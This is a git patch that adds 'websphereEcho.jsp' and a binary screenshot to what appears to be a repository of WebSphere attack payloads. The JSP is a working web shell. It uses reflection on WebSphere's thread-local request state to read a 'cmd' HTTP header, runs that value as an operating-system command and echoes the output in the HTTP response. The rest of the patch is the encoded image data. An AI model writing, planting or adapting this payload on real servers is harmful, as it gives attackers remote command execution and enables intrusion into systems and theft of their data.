From a77b4f428f402e00312c0f202e274d684a836a22 Mon Sep 17 00:00:00 2001 From: feihong Date: Thu, 15 Oct 2020 10:49:58 +0800 Subject: [PATCH 1/5] add Websphere Echo --- Websphere/code/websphereEcho.jsp | 28 ++++++++++++++++++++++++++++ Websphere/img/001.png | Bin 0 -> 70919 bytes 2 files changed, 28 insertions(+) create mode 100644 Websphere/code/websphereEcho.jsp create mode 100644 Websphere/img/001.png diff --git a/Websphere/code/websphereEcho.jsp b/Websphere/code/websphereEcho.jsp new file mode 100644 index 0000000..b507eb7 --- /dev/null +++ b/Websphere/code/websphereEcho.jsp @@ -0,0 +1,28 @@ +<%@ page contentType="text/html;charset=UTF-8" language="java" %> +<% + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + Object[] obj_arr = (Object[]) obj; + for(int i = 0; i < obj_arr.length; i++){ + Object o = obj_arr[i]; + if(o == null) continue; + + if(o.getClass().getName().endsWith("WebContainerRequestState")){ + Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]); + + String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"}); + if(cmd != null && !cmd.isEmpty()){ + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + java.io.PrintWriter printWriter = (java.io.PrintWriter)resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); + printWriter.println(res); + } + + break; + } + } +%> diff --git a/Websphere/img/001.png b/Websphere/img/001.png new file mode 100644 index 0000000000000000000000000000000000000000..e52c3455c187d8d563248bdd17c73e0ba0f20bd9 GIT binary patch literal 70919 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 